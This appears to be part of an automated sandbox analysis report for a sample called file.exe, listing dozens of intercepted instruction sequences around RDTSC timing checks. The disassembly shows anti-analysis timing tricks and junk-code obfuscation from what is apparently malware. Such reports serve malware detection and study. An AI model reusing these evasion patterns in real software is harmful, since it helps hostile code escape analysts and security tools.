Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0796 second address: 12A07A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A07A2 second address: 12A07B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F849CD2597Ah 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A11B3 second address: 12A11B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A0F99 second address: 12A0FB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F849CD25982h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1C1C second address: 12A1CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edi 0x00000008 push ebx 0x00000009 jnl 00007F849CD73E56h 0x0000000f pop ebx 0x00000010 pop edi 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F849CD73E58h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c jnp 00007F849CD73E60h 0x00000032 call 00007F849CD73E68h 0x00000037 pop esi 0x00000038 mov edi, dword ptr [ebp+122D2E10h] 0x0000003e push 00000000h 0x00000040 js 00007F849CD73E5Eh 0x00000046 jnc 00007F849CD73E58h 0x0000004c push 00000000h 0x0000004e and edi, dword ptr [ebp+122D2C9Ch] 0x00000054 mov si, 4C45h 0x00000058 xchg eax, ebx 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d jnl 00007F849CD73E56h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1CA1 second address: 12A1CB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849CD2597Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A1CB3 second address: 12A1CBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F849CD73E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A2804 second address: 12A2818 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F849C77677Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A28BA second address: 12A28BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A5275 second address: 12A527B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A57B4 second address: 12A57B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A678E second address: 12A6792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6792 second address: 12A6830 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F849D367C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F849D367C78h 0x00000010 popad 0x00000011 push eax 0x00000012 jl 00007F849D367C8Bh 0x00000018 jmp 00007F849D367C85h 0x0000001d nop 0x0000001e jmp 00007F849D367C89h 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a call 00007F849D367C78h 0x0000002f pop ebx 0x00000030 mov dword ptr [esp+04h], ebx 0x00000034 add dword ptr [esp+04h], 00000017h 0x0000003c inc ebx 0x0000003d push ebx 0x0000003e ret 0x0000003f pop ebx 0x00000040 ret 0x00000041 jmp 00007F849D367C86h 0x00000046 sbb ebx, 49E60B9Dh 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F849D367C83h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6830 second address: 12A6836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A6836 second address: 12A683A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A78AA second address: 12A78B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A88A6 second address: 12A88AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A88AC second address: 12A88B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7B03 second address: 12A7B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A895A second address: 12A895E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7B07 second address: 12A7B0D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7B0D second address: 12A7B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C776785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ebx, dword ptr [ebp+1244C7C7h] 0x00000012 add dword ptr [ebp+122D1C6Eh], esi 0x00000018 push dword ptr fs:[00000000h] 0x0000001f stc 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 clc 0x00000028 mov eax, dword ptr [ebp+122D1051h] 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F849C776778h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 00000015h 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov dword ptr [ebp+122D36D1h], ebx 0x0000004e push FFFFFFFFh 0x00000050 sub dword ptr [ebp+122D32B4h], ecx 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A7B7D second address: 12A7B8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849D367C7Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8AB7 second address: 12A8ACA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F849C776778h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A8ACA second address: 12A8ACF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AB8D2 second address: 12AB8D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AEBC second address: 125AEDB instructions: 0x00000000 rdtsc 0x00000002 jno 00007F849D367C78h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F849D367C81h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AEDB second address: 125AF06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F849C776776h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 je 00007F849C776776h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b jmp 00007F849C77677Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AF06 second address: 125AF0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125AF0A second address: 125AF0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABE72 second address: 12ABEEC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F849D367C76h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d sub ebx, dword ptr [ebp+122D2DECh] 0x00000013 push 00000000h 0x00000015 mov dword ptr [ebp+12457582h], esi 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F849D367C78h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Dh 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 mov bx, C602h 0x0000003b movzx edi, bx 0x0000003e xchg eax, esi 0x0000003f jp 00007F849D367C84h 0x00000045 jmp 00007F849D367C7Eh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jns 00007F849D367C89h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12ABEEC second address: 12ABEF1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD082 second address: 12AD087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD087 second address: 12AD0A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C776780h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD1FF second address: 12AD205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AD205 second address: 12AD210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2F0F second address: 12B2F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F849D367C78h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 xor edi, dword ptr [ebp+122D2DECh] 0x0000002b sub dword ptr [ebp+1244C813h], ecx 0x00000031 push 00000000h 0x00000033 mov ebx, 643811B7h 0x00000038 add dword ptr [ebp+122D1C49h], ecx 0x0000003e push 00000000h 0x00000040 clc 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 pop eax 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B40C0 second address: 12B40C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B40C5 second address: 12B40D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F849D367C7Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B01BB second address: 12B01C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B11A3 second address: 12B1206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849D367C81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F849D367C78h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 push dword ptr fs:[00000000h] 0x0000002b stc 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 sub bx, 22A1h 0x00000038 mov eax, dword ptr [ebp+122D122Dh] 0x0000003e xor di, 5059h 0x00000043 push FFFFFFFFh 0x00000045 mov dword ptr [ebp+122D32D7h], edx 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push edi 0x00000051 pop edi 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B1206 second address: 12B120C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B01C1 second address: 12B0270 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F849D367C78h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 xor dword ptr [ebp+122D2817h], esi 0x0000002b mov edi, dword ptr [ebp+122D3902h] 0x00000031 push dword ptr fs:[00000000h] 0x00000038 cmc 0x00000039 jmp 00007F849D367C83h 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 sub dword ptr [ebp+122DB9B2h], esi 0x0000004b mov dword ptr [ebp+122D2F53h], ebx 0x00000051 mov eax, dword ptr [ebp+122D123Dh] 0x00000057 mov di, ax 0x0000005a push FFFFFFFFh 0x0000005c push 00000000h 0x0000005e push ebx 0x0000005f call 00007F849D367C78h 0x00000064 pop ebx 0x00000065 mov dword ptr [esp+04h], ebx 0x00000069 add dword ptr [esp+04h], 00000015h 0x00000071 inc ebx 0x00000072 push ebx 0x00000073 ret 0x00000074 pop ebx 0x00000075 ret 0x00000076 mov edi, dword ptr [ebp+122D19ACh] 0x0000007c jmp 00007F849D367C89h 0x00000081 push eax 0x00000082 push esi 0x00000083 pushad 0x00000084 push eax 0x00000085 push edx 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30E0 second address: 12B30E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30E5 second address: 12B30EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B4F56 second address: 12B4F60 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F849C776776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30EB second address: 12B30EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30EF second address: 12B30FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B30FE second address: 12B3102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B3102 second address: 12B3115 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C77677Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B600A second address: 12B600E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B600E second address: 12B6018 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F849C776776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6205 second address: 12B6209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B6209 second address: 12B620D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B62B9 second address: 12B62BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEC29 second address: 12BEC2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEC2F second address: 12BEC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F849D367C76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEC3A second address: 12BEC67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C776786h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F849C776781h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEC67 second address: 12BEC6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEEB5 second address: 12BEED1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F849C776776h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F849C77677Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12BEED1 second address: 12BEEDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3374 second address: 12C3378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3378 second address: 12C337E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C337E second address: 12C3384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3451 second address: 12C345F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849D367C7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C353F second address: 12C354F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C354F second address: 12C355E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C355E second address: 12C3565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C3565 second address: 12C356F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F849D367C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C356F second address: 12C358E instructions: 0x00000000 rdtsc 0x00000002 je 00007F849C776776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F849C77677Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C358E second address: 12C3594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C36CF second address: 12C36D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C36D3 second address: 12C36E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C36E1 second address: 12C36E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C36E5 second address: 12C36EF instructions: 0x00000000 rdtsc 0x00000002 js 00007F849D367C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C36EF second address: 12C36F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C86B5 second address: 12C86D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849D367C89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9070 second address: 12C907C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C95F9 second address: 12C9609 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F849D367C7Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9609 second address: 12C9631 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C776784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F849C77677Bh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12C9631 second address: 12C963A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CDF7C second address: 12CDFCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F849C776782h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F849C776787h 0x0000000e popad 0x0000000f jp 00007F849C776799h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F849C776789h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299233 second address: 129923E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F849D367C76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129923E second address: 1299244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1299244 second address: 1299248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
